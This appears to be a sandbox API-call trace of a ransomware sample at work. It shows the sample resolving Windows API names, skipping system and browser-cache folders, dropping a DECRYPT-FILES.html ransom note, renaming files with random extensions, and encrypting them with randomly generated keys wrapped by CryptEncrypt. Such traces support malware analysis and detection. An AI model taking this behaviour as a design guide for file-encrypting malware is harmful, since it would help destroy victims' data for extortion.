(lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0140.966] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0140.966] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0140.966] lstrlenA (lpString="CREATEEVENTA") returned 12 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0140.966] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0140.966] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0140.966] lstrlenA (lpString="CREATEEVENTW") returned 12 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0140.966] lstrlenA (lpString="CREATEFIBER") returned 11 [0140.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0140.967] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0140.967] lstrlenA (lpString="CREATEFILE2") returned 11 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0140.967] lstrlenA (lpString="CREATEFILEA") returned 11 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0140.967] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0140.967] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0140.967] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0140.967] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0140.967] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0140.967] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0140.967] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0140.967] lstrlenA (lpString="CREATEFILEW") returned 11 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0140.967] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0140.967] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0140.967] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0140.967] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0140.967] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0140.967] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0140.967] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0140.967] lstrlenA (lpString="CREATEJOBSET") returned 12 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0140.967] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0140.967] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0140.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0140.967] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0140.968] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0140.968] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0140.968] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0140.968] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0140.968] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0140.968] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0140.968] lstrlenA (lpString="CREATEPIPE") returned 10 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0140.968] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0140.968] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0140.968] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0140.968] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0140.968] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0140.968] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0140.968] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0140.968] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0140.968] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0140.968] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0140.968] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0140.968] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0140.968] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0140.968] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0140.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0140.969] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0140.969] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0140.969] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0140.969] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0140.969] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0140.969] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0140.969] lstrlenA (lpString="CREATETHREAD") returned 12 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0140.969] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0140.969] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0140.969] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0140.969] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0140.969] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0140.969] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0140.969] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0140.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0140.970] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.XfVx3S") returned 52 [0140.970] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.XfVx3S" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.xfvx3s"), dwFlags=0x0) returned 1 [0140.970] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.970] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.971] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.971] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0140.971] FindClose (in: hFindFile=0x3b80e80 | out: hFindFile=0x3b80e80) returned 1 [0140.971] CloseHandle (hObject=0x528) returned 1 [0140.971] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0140.971] lstrcmpW (lpString1="Client", lpString2=".") returned 1 [0140.971] lstrcmpW (lpString1="Client", lpString2="..") returned 1 [0140.971] lstrcatW (in: lpString1="Client", lpString2="\\" | out: lpString1="Client\\") returned="Client\\" [0140.971] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="Client\\" | out: lpString1="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0140.971] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Client\\", lpSrch=":\\Windows") returned 0x0 [0140.971] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Client\\", lpSrch="\\Program Files") returned 0x0 [0140.971] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Client\\", lpSrch="\\Games\\") returned 0x0 [0140.971] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Client\\", lpSrch="\\Tor Browser\\") returned 0x0 [0140.972] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Client\\", lpSrch="\\ProgramData\\") returned 0x0 [0140.972] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Client\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0140.972] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Client\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0140.972] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Client\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0140.972] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Client\\", lpSrch="\\All Users") returned 0x0 [0140.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\") returned 29 [0140.972] lstrlenW (lpString="eogwkz.dat") returned 10 [0140.972] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Client\\\\eogwkz.dat") returned 40 [0140.972] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\client\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0140.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\") returned 29 [0140.972] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0140.973] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Client\\\\DECRYPT-FILES.html") returned 48 [0140.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\client\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0140.973] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0140.974] CloseHandle (hObject=0x470) returned 1 [0140.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\") returned 29 [0140.974] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Client\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\Client\\*") returned="C:\\588bce7c90097ed212\\Client\\*" [0140.974] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x5a481556, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81380 [0140.974] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0140.974] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x5a481556, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0140.974] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0140.974] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0140.975] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a481556, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x5a481556, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x5a481556, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0140.975] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0140.975] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a481556, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x5a481556, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x5a481556, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0140.975] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0140.975] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0140.975] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0140.975] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0140.975] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0140.975] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0140.975] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0140.975] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0140.975] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0140.975] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0140.975] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\") returned 29 [0140.975] lstrlenW (lpString="eogwkz.dat") returned 10 [0140.975] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Client\\" | out: lpString1="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0140.975] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Client\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\Client\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\Client\\eogwkz.dat" [0140.975] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.975] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\client\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.975] CloseHandle (hObject=0x0) returned 0 [0140.975] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.976] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0140.976] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="DECRYPT-FILES.html") returned 1 [0140.976] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="autorun.inf") returned 1 [0140.976] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="boot.ini") returned 1 [0140.976] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="desktop.ini") returned 1 [0140.976] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="ntuser.dat") returned 1 [0140.976] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="iconcache.db") returned 1 [0140.976] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="bootsect.bak") returned 1 [0140.976] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="ntuser.dat.log") returned 1 [0140.976] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="thumbs.db") returned -1 [0140.976] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="Bootfont.bin") returned 1 [0140.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\") returned 29 [0140.976] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0140.976] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Client\\" | out: lpString1="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0140.976] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Client\\", lpString2="Parameterinfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" [0140.976] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.976] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0140.976] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=201796) returned 1 [0140.976] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0140.976] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0141.284] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0141.284] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0141.284] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d60000 [0141.285] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d60000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d60000*, pdwDataLen=0x38be718*=0x100) returned 1 [0141.285] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d70000 [0142.093] VirtualFree (lpAddress=0x2d70000, dwSize=0x0, dwFreeType=0x8000) returned 1 